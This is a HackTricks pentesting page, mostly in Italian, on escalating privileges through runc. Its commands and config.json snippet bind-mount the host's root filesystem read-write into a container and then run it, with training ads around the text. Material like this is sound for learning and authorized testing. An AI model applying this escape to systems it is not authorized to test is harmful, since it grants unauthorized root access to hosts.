RunC Privilege Escalation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Informazioni di base

Se vuoi saperne di più su runc controlla la seguente pagina:

2375, 2376 Pentesting Docker

PE

Se scopri che runc è installato nell'host, potresti essere in grado di eseguire un container montando la cartella root / dell'host.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

Questo non funzionerà sempre poiché l'operazione predefinita di runc è eseguire come root, quindi eseguirlo come utente non privilegiato semplicemente non può funzionare (a meno che tu non abbia una configurazione senza root). Rendere una configurazione senza root quella predefinita non è generalmente una buona idea perché ci sono diverse restrizioni all'interno dei container senza root che non si applicano al di fuori dei container senza root.

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Last updated